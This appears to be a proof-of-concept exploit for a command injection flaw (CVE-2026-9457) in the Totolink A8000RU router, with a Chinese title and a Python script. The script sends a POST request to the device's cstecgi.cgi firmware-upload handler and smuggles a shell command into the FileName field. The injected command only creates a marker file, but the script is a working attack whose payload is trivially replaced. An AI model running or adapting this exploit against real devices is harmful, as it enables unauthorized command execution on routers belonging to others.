CVE-2026-9457 Totolink A8000RU OS命令注入漏洞

import requests # Target URL of the vulnerable device target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # The vulnerable function is UploadFirmwareFile, parameter is FileName # Payload injects a command to create a file as proof of execution payload = "; touch /tmp/poc_cve_2026_9457;" data = { "action": "UploadFirmwareFile", "FileName": "firmware.bin" + payload } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully. Check device for /tmp/poc_cve_2026_9457") else: print("[-] Failed to send payload") except Exception as e: print(f"[!] Error: {e}")